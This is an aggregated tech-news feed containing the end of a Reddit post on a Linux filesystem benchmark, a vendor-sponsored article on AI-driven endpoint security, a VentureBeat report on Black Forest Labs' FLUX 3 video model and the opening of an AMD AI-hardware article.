Overstreet, the creator of bcachefs, made one of his Hetzner machines available for a real-hardware experiment.</p> <p>The server had two physical NVMe devices. It completed three full benchmark runs, which are available in the separate real-hardware dashboard. These runs provided meaningful absolute measurements and exposed concurrency behavior that cannot be observed when several loop devices share one virtual disk.</p> <p>During the fourth run, one NVMe controller entered the kernel’s dead state. The existing machine environment had its operating system on RAID0 across the two NVMe devices, so the hardware failure also made part of /nix/store unreadable and eventually prevented new SSH sessions.</p> <p>The incomplete fourth run is not being published as benchmark data. This was a failure of the underlying hardware, not a result attributable to any filesystem being tested.</p> <p>I am grateful to Kent for providing the machine and making the real-hardware experiment possible. Without that access, the three existing hardware runs would not exist.</p> <p><strong>Where I would like to take it</strong></p> <p>Better hardware would not merely produce more reliable throughput numbers. It would enable an entirely new class of tests designed for multi-device and multi-tier filesystems.</p> <p>I would eventually like to run the suite on a machine containing several storage classes, for example two HDDs, two SSDs and an NVMe device.</p> <p>That could support scenarios such as:</p> <p>- HDD, SSD and NVMe baselines using identical workloads</p> <p>- bcachefs foreground and background targets</p> <p>- ZFS HDD data vdevs with SSD special vdevs</p> <p>- Separate ZFS L2ARC and SLOG experiments</p> <p>- LVM dm-cache in writeback and writethrough modes</p> <p>- Metadata and small-block placement on faster media</p> <p>- Foreground latency during background migration</p> <p>- Contention between fast and slow storage tiers</p> <p>- Degraded operation and rebuild under application load</p> <p>- Performance before, during and after promoting or evacuating a storage tier</p> <p>These are the kinds of scenarios for which multi-device and multi-tier filesystems are built, but they cannot be represented honestly when every “device” is a loop file backed by the same cloud disk.</p> <p>I am considering either renting a suitable dedicated server or eventually building and hosting my own machine. Providers such as Worldstream offer configurations close to what I need, but the recurring cost is currently outside the project’s budget.</p> <p>For now, the benchmark will remain in its hosted-CI form for an unknown amount of time. The existing dashboard will continue to be useful for correctness, behavioral comparisons and regression tracking, but it cannot answer every real-hardware performance question or model complex mixed-media topologies.</p> <p>I am also open to running the suite on hardware provided by someone else. A useful environment would need Linux root access, clearly identified block devices that may be wiped, and enough uninterrupted access to complete repeated runs. The hardware description, methodology and resulting data would remain public.</p> <p>I would appreciate technical feedback:</p> <p>- Which current tests are misleading or unfair?</p> <p>- Which failure scenarios are missing?</p> <p>- Which mixed-media topologies would be most useful?</p> <p>- Which additional filesystems or layered stacks should be included?</p> <p>- Which results deserve deeper investigation?</p> <p>The methodology, implementation and raw results are public. If a filesystem is being tested in a way that misrepresents it, I consider that a bug in the benchmark.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/bfenski"> /u/bfenski </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Test verlief erfolgreich: Opendesk für Krisenkommunikation geeignet - Golem.de]]></title>
<description><![CDATA[... Windows Server 2022 (E-Learning). E-Learning: Failover Clustering mit Windows Server 2022 (E-Learning) · zum Kurs. Weiterbildung: KI-Koordinator ...]]></description>
<link>https://tsecurity.de/de/3690278/windows-server/test-verlief-erfolgreich-opendesk-fuer-krisenkommunikation-geeignet-golemde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690278/windows-server/test-verlief-erfolgreich-opendesk-fuer-krisenkommunikation-geeignet-golemde/</guid>
<pubDate>Thu, 23 Jul 2026 23:47:54 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[... <b>Windows Server</b> 2022 (E-Learning). E-Learning: Failover Clustering mit <b>Windows Server</b> 2022 (E-Learning) · zum Kurs. Weiterbildung: KI-Koordinator ...]]></content:encoded>
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<title><![CDATA[Andrew Ng Just Released OpenWorker: An Open-Source, Local-First Desktop AI Coworker That Returns Finished Deliverables Instead of Chat]]></title>
<description><![CDATA[Andrew Ng has released OpenWorker, an MIT-licensed desktop AI agent that returns finished deliverables instead of chat replies. It runs a local Python agent server under a Tauri shell, supports 30 curated tool-calling models plus fully local Ollama, and gates every write, shell command and off-ma...]]></description>
<link>https://tsecurity.de/de/3690088/ai-nachrichten/andrew-ng-just-released-openworker-an-open-source-local-first-desktop-ai-coworker-that-returns-finished-deliverables-instead-of-chat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690088/ai-nachrichten/andrew-ng-just-released-openworker-an-open-source-local-first-desktop-ai-coworker-that-returns-finished-deliverables-instead-of-chat/</guid>
<pubDate>Thu, 23 Jul 2026 21:34:58 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Andrew Ng has released OpenWorker, an MIT-licensed desktop AI agent that returns finished deliverables instead of chat replies. It runs a local Python agent server under a Tauri shell, supports 30 curated tool-calling models plus fully local Ollama, and gates every write, shell command and off-machine action behind a typed risk engine.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/23/andrew-ng-just-released-openworker-an-open-source-local-first-desktop-ai-coworker-that-returns-finished-deliverables-instead-of-chat/">Andrew Ng Just Released OpenWorker: An Open-Source, Local-First Desktop AI Coworker That Returns Finished Deliverables Instead of Chat</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
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<title><![CDATA[4 ways AI-driven defense is rewriting the cybersecurity playbook]]></title>
<description><![CDATA[The cybersecurity landscape has evolved beyond human scale. Today’s adversaries have replaced predictable, manual playbooks with machine-generated attack chains that can breach traditional controls in seconds. To bridge the gap, organizations must move past legacy, reactive controls and embrace a...]]></description>
<link>https://tsecurity.de/de/3690085/it-security-nachrichten/4-ways-ai-driven-defense-is-rewriting-the-cybersecurity-playbook/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690085/it-security-nachrichten/4-ways-ai-driven-defense-is-rewriting-the-cybersecurity-playbook/</guid>
<pubDate>Thu, 23 Jul 2026 21:34:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The cybersecurity landscape has evolved beyond human scale. Today’s adversaries have replaced predictable, manual playbooks with machine-generated attack chains that can breach traditional controls in seconds. To bridge the gap, organizations must move past legacy, reactive controls and embrace a fundamentally different, AI-driven architecture: Agentic Endpoint Security (AES). </p>



<p class="wp-block-paragraph">AES represents a paradigm shift, moving security from a passive monitor to an active participant in the defense lifecycle. It provides the visibility and automated guardrails necessary to govern autonomous AI agents and agentic tools, ensuring that as your workforce scales with AI, your security posture remains unbreakable. </p>



<p class="wp-block-paragraph">With autonomous AI agents now capable of planning and executing multi-stage attacks at machine speed, the pressure on traditional security operations (SOC) has reached a breaking point. To survive this shift, the strategy is clear: we must fight AI with AI. </p>



<p class="wp-block-paragraph">Here is how AI-driven defense, pioneered by <a href="https://www.paloaltonetworks.com/cortex/cortex-xdr?utm_source=foundry-jg-amer-cortex-socf-ends&amp;utm_medium=display&amp;utm_campaign=foundry-cortex-edpxdr-amer-multi-discovery-en-foundry_cso_article_link_1_xdr&amp;utm_content=7014u000001AZlHAAW&amp;cq_plac=%7Bplacement%7D&amp;cq_net=%7Bnetwork%7D?dclid=CPXs7KK66ZUDFU6Q7gEdcAAphg&amp;gad_source=7&amp;gad_campaignid=24059812534" target="_blank" rel="noreferrer noopener">Cortex XDR</a> and the era of <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security?utm_source=foundry-jg-amer-cortex-socf-ends&amp;utm_medium=display&amp;utm_campaign=foundry-cortex-edpxdr-amer-multi-discovery-en-foundry_cso_article_link_2_koi&amp;utm_content=701Ki000000h8oXIAQ&amp;cq_plac=%7Bplacement%7D&amp;cq_net=%7Bnetwork%7D?dclid=CPSG_NS66ZUDFbrKuAgd4vAYrw&amp;gad_source=7&amp;gad_campaignid=24059814223" target="_blank" rel="noreferrer noopener">Agentic Endpoint Security</a>, is fundamentally rewriting the cybersecurity playbook.</p>



<ol class="wp-block-list">
<li><strong>From reactive patching to proactive prevention </strong></li>
</ol>



<p class="wp-block-paragraph">For decades, the industry lived in a “wait-and-see” mode waiting for a vulnerability to surface, waiting for a signature, and then rushing to patch the hole. But reactive methods just don’t hold up against modern “frontier” AI attacks that are constantly morphing. </p>



<p class="wp-block-paragraph">AI-driven defense changes the game by shifting to a prevention-first architecture. Rather than relying on historical signatures, modern platforms deploy localized, ML-driven analysis to evaluate the intent and behavior of an active process, stopping threats pre-execution. Cortex XDR leads with a strict prevention-first approach by using AI-driven local analysis and behavioral threat protection; the XDR agent stops sophisticated threats pre-impact and pre-execution. This proactive stance reduces the overall risk profile by blocking malicious chains of events in real time across network, process, file, and registry activity. </p>



<p class="wp-block-paragraph">2. <strong>Eliminating the “agentic blind spot” </strong></p>



<p class="wp-block-paragraph">As we all rush to adopt generative AI and automated workflows, a new gap has appeared: the “agentic blind spot.” Adversaries are now targeting AI assistants and automated scripts to bypass defenses. Since these digital agents often have deep access to enterprise data, a compromise here lets attackers move completely under the radar. </p>



<p class="wp-block-paragraph">The new playbook requires securing this entire ecosystem. By combining the distinct capabilities of Cortex XDR and Koi Security, organizations can effectively close this gap. Koi Agentic Endpoint Security tracks everything from shell commands to prompts in real time, while Cortex XDR adds a layer of defense that identifies and neutralizes behavioral anomalies unique to these automated threats. </p>



<p class="wp-block-paragraph">3. <strong>Machine-speed detection and “attack storylines” </strong></p>



<p class="wp-block-paragraph">When an attacker can move through your network in seconds, human-led teams can’t keep up. To make matters worse, most systems just flood analysts with low-quality, isolated alerts, leading to major burnout. </p>



<p class="wp-block-paragraph">AI-driven defense fixes the investigation process by automatically stitching separate data points into a single, high-fidelity “attack storyline.” Cortex XDR uses thousands of machine learning detectors across endpoint, network, and cloud sources to group related signals into one cohesive case. This reveals the full story of an attack, letting your analysts focus on fast remediation instead of digging through piles of data, reducing alert noise by up to 98%. </p>



<p class="wp-block-paragraph">4. <strong>Surgical and autonomous response </strong></p>



<p class="wp-block-paragraph">The final piece of the puzzle is moving from manual remediation to autonomous action. AI-driven response lets your SOC handle threats in minutes, not hours. The platform can automatically revoke compromised tokens or isolate endpoints at machine speed. </p>



<p class="wp-block-paragraph">Cortex XDR delivers built-in enterprise-grade automation at no additional cost, providing over 120 out-of-the-box playbooks and 18 quick actions to handle up to 99% of incidents without manual intervention. Crucially, this level of automation requires an unbreakable foundation of agent resilience. To ensure the defense cannot be disabled by an adversary, Cortex XDR is certified in both the AVC EDR Detection and Anti-Tampering tests, successfully blocking all attempts to disable or modify the agent. </p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">The threat landscape is changing faster than ever, driven by AI-powered attackers who exploit even the smallest gaps. But you don’t have to stay on the defensive. By shifting to a proactive, AI-driven architecture like the one built into Cortex XDR, you can stop threats before they happen, secure your agentic workflows, and automate away the noise that leads to analyst burnout. </p>



<p class="wp-block-paragraph">The journey to a more resilient, AI-powered SOC doesn’t have to be daunting. With the right foundation in place, you’re not just keeping pace with the new threat landscape; you’re staying one step ahead. It’s time to move beyond the old manual playbook and embrace the future of security operations. </p>



<p class="wp-block-paragraph">To learn more about Palto Alto Networks, visit <a href="https://www.paloaltonetworks.com/" target="_blank" rel="noreferrer noopener">https://www.paloaltonetworks.com</a>.</p>
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<title><![CDATA[Cyber Security Engineer (m/w/d) - Vorsprung Online]]></title>
<description><![CDATA[Die CID GmbH ist ein innovatives und dynamisch wachsendes IT ... Bei uns ist Cyber Security Teamsport – nur mit besseren Insiderwitzen.]]></description>
<link>https://tsecurity.de/de/3690026/it-security-nachrichten/cyber-security-engineer-mwd-vorsprung-online/</link>
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<pubDate>Thu, 23 Jul 2026 20:54:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
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<content:encoded><![CDATA[Die CID GmbH ist ein innovatives und dynamisch wachsendes IT ... Bei uns ist <b>Cyber Security</b> Teamsport – nur mit besseren Insiderwitzen.]]></content:encoded>
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<title><![CDATA[Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start]]></title>
<description><![CDATA[Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture t...]]></description>
<link>https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</link>
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<pubDate>Thu, 23 Jul 2026 20:48:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with <a href="https://bfl.ai/blog/flux-3">today's launch of FLUX 3</a>, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.</p><p>The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface. </p><p>That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model. </p><div></div><p>FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a <a href="https://tally.so/r/44d9NX">gated "Early Access" program now</a>, to which anyone can apply, but which BFL must approve. </p><p>There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Anthropic</a> and <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI</a>, though those were ostensibly for security concerns and due to government request. </p><p>What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.</p><p>Another big notable omission: FLUX 3 is <i>not</i> launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.</p><p>But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far. </p><h2><b>Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption</b></h2><p>BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability. </p><p>In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.</p><p>One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.</p><p>Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.</p><p>Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.</p><p><a href="https://venturebeat.com/technology/googles-gemini-omni-flash-hits-the-api-turning-enterprise-video-production-into-a-conversation">Gemini Omni Flash</a>, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality. </p><p>Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.</p><p>One regional wrinkle matters for a German company's home market. Editing <i>uploaded</i> video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.</p><p>Here's a rough guide for enterprises considering which video models to rely upon: </p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Max single-generation duration</b></p></td><td><p><b>Max resolution</b></p></td><td><p><b>Key constraints</b></p></td><td><p><b>Price per 10-second clip (720p)</b></p></td><td><p><b>Price per 10-second clip (1080p)</b></p></td><td><p><b>Price per 10-second clip (4K)</b></p></td></tr><tr><td><p>FLUX 3 Video </p></td><td><p><b>20 seconds </b></p></td><td><p>Not stated; evaluations run at 720p </p></td><td><p>Early access; no published SLA or pricing </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td></tr><tr><td><p>HappyHorse 1.1 </p></td><td><p>15 seconds </p></td><td><p>1080p </p></td><td><p>No 4K; closed weights </p></td><td><p>Not published (v1.0 reseller rate is ~$1.82) </p></td><td><p>Not published (v1.0 reseller rate is ~$3.12) </p></td><td><p>n/a </p></td></tr><tr><td><p>Veo 3.1 </p></td><td><p>Per-second billing </p></td><td><p><b>4K</b> </p></td><td><p><b>Supports clip extension; preview </b></p></td><td><p>$4.00 </p></td><td><p>$4.00 </p></td><td><p>$6.00 </p></td></tr><tr><td><p>Veo 3.1 Fast </p></td><td><p>Per-second billing </p></td><td><p><b>4K </b></p></td><td><p>Preview </p></td><td><p>$1.00 </p></td><td><p>$1.20 </p></td><td><p><b>$3.00 </b></p></td></tr><tr><td><p>Veo 3.1 Lite </p></td><td><p>Per-second billing </p></td><td><p>1080p </p></td><td><p>No 4K, no clip extension; preview </p></td><td><p><b>$0.50 </b></p></td><td><p><b>$0.80 </b></p></td><td><p>n/a </p></td></tr><tr><td><p>Gemini Omni Flash </p></td><td><p>10 seconds (3s minimum) </p></td><td><p>720p at 24 FPS </p></td><td><p>Preview abd no EU access</p></td><td><p>$1.00 </p></td><td><p>n/a </p></td><td><p>n/a </p></td></tr></tbody></table><h2><b>One architecture for media generation and physical action</b></h2><p>FLUX 3 builds on <a href="https://venturebeat.com/technology/black-forest-labs-new-self-flow-technique-makes-training-multimodal-ai">Self-Flow</a>, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026. </p><p>The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.</p><p>"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."</p><p>He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."</p><p>BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.</p><p>For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.</p><p>For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.</p><h2><b>What FLUX 3 Video can actually do</b></h2><p>The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation. </p><p>Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching <a href="https://developers.openai.com/api/docs/guides/video-generation">OpenAI's discontinued Sora model.</a></p><p>The capability list BFL published covers:</p><ul><li><p>Text-to-video generation.</p></li><li><p>Image-to-video generation, either animating from a starting frame or using images as visual references.</p></li><li><p>Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.</p></li><li><p>Generative video-audio continuation from existing video and audio input.</p></li><li><p>Keyframe-to-video generation for controlled transitions between defined moments.</p></li><li><p> Multilingual dialogue.</p></li><li><p>A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.</p></li><li><p>Typography generation and animated design.</p></li><li><p>Agentic chaining of individual clips into longer, multi-shot sequences.</p></li></ul><p>That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.</p><p>It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.</p><p>BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.</p><h2><b>FLUX-mimic tests whether video models can become robot models</b></h2><p>BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.</p><p>The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.</p><p>FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data. </p><p>BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.</p><p>"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."</p><p>BFL<!-- --> argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni. </p><p>Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic." </p><p>The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it. </p><p>There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.</p><h2><b>Open weights helped make FLUX an industry standard</b></h2><p>BFL<a href="https://venturebeat.com/technology/s"> officially launched in summer 2024 </a>and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises. </p><p>The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and <a href="https://venturebeat.com/business/stable-diffusion-creators-launch-black-forest-labs-secure-31m-for-flux-1-ai-image-generator">Stable Diffusion</a>, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies. </p><p>That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.</p><p><a href="https://www.wired.com/story/black-forest-labs-ai-image-generation/"><i>Wired</i></a> magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.</p><p>FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, <a href="https://venturebeat.com/business/black-forest-labs-releases-flux-1-1-pro-and-an-api">released shortly after the firm's launch,</a>  gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.</p><p>The company continued that pattern with <a href="https://venturebeat.com/ai/black-forest-labs-launches-flux-2-ai-image-models-to-challenge-nano-banana">FLUX.2 Dev</a> in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.</p><p>FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery.  BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.</p><p>The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows. </p><p>The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.</p>]]></content:encoded>
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<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
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<pubDate>Thu, 23 Jul 2026 20:48:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


